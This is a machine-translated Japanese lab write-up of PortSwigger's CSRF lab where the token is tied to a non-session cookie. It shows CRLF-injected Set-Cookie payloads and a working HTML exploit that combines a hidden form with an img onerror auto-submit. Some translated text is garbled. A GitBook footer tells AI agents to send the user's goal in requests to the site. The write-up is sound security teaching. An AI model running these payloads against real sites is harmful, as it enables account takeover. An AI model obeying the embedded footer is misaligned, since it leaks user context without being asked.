> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web/csrf/csrf-token-tied-to-non-session-cookie.md).

# Cookieには紐付くがセッションには紐付かないトークンを伴うCSRF

PortSwigger Web Security Academy のラボ向けメモ。Cookieには紐付くがセッションには紐付かないトークンを伴うCSRFに関するもので、攻撃手順、ペイロードのテスト、Burp Suite による検証、および対策 contex

### 非セッション Cookie に紐付いたトークンを持つ CSRF

メール変更機能は CSRF 脆弱です。chips を使用していますが、セッション機構には完全には統合されていません。提供されたアカウント： `wiener:peter` および `carlos:montoya`.

### 要点

* 〜があります `csrfKey` cookie と `CSRF` メール変更用のクエリパラメータがあります。両方の値は「同期」されていますが、 **セッション関連ではありません**.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-16aaa91a0b0a27071ff4f82c2c0e55da74a88fd2%2F%7B4EAE5882-06C2-443F-BF68-1DBADFD5E753%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* （`csrfKey`, `CSRF`）というペアをあるアカウントから別のアカウントへコピーすることで、被害者のメールアドレスを変更できます **〜することなく** それがセッションに紐付いていることを
* 検索フィールドは最後の検索をセッション cookie（`最後の searchTerm`).

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bedd6c9672e903f2a2bb82e6e5158475656c882d%2F%7BB09172D1-F6D6-4C09-B7A5-94955FAB9E31%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b4f2d37c5bb2e49f857fac34e4b5658cafb83bd4%2F%7B2A94BC23-796D-4C6E-8059-0366F7FDBA44%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### 技術的（調査による CRLF インジェクション）

* 〜することができます **ヘッダーを注入する** 検索経由でブラウザに任意の cookie を設定させることができます。

次のような単純な文字列は `hello csrfKey=aZCI...` 解釈されません。

```
hello csrfKey=aZCI65XauInHYlpP2MXHzMAssSvvyn74
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9e9dfccf19e7765e3dc89e5c64e94a62098ebd9e%2F%7B644F54F1-925E-4763-8BF0-1E5F8495A8D3%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

一方で、 **キャリッジリターン + 改行** (`/r` = `%0d`, `/n` = `%0a`):

```
man ascii
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9697c666becf1cac218b6ff0ca0132f64f6e38c8%2F%7BB003AB2B-730E-4E6E-9CD6-5AF4BF4581D2%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

動作例：

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e3490aed7a82a309a2f99ccd9b88aa474b8619b5%2F%7BA43BE1B2-0CCA-4B25-B704-3E48E1DA338C%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

```
hello%0d%0aSet-Cookie:%20csrfKey=a
```

→ 〜として解釈される **Set-Cookie** レスポンス側で。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4690927915ef2afa16b2d7575fe6bff6424a64aa%2F%7B6A50FA0C-C5E0-4602-A403-24866AA465C4%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

クロスサイトのコンテキストでは、 `SameSite=none` を指定して、エクスプロイト後の次のリクエストに cookie を付随させます。

例（アドレス／検索リクエストバー内）：

{% code overflow="wrap" %}

```
hello%0d%0aSet-Cookie:%20csrfKey%3dGI0PraUBw0m976F6vn51dbYYzh6EtwvZ%3b%20SameSite%3dnone

hello
Set-Cookie: csrfKey=GI0PraUBw0m976F6vn51dbYYzh6EtwvZ; SameSite=none
```

{% endcode %}

### ホスト型オペレーター

1. **強制する** その `csrfKey` 検索ページへの画像リクエストを介して、被害者に cookie を設定させる（これによりヘッダーが書き換えられる）：

```html
<form class="login-form" name="change-email-form" action="https://0a810098043d26f1806a030e0062002e.web-security-academy.net/my-account/change-email" method="POST">
      <input "hidden" name="email" value="hacked@jord4n.pro">
      <input required="" type="hidden" name="csrf" value="GI0PraUBw0m976F6vn51dbYYzh6EtwvZ">
</form>

<img  src="https://0a810098043d26f1806a030e0062002e.web-security-academy.net/?search=hello%0d%0aSet-Cookie:%20csrfKey%3d9Okbeh77JZpcZA9ObPqnLuR95v3L40oc%3b%20SameSite%3dnone" onerror="document.forms[0].submit();">
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/web/csrf/csrf-token-tied-to-non-session-cookie.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
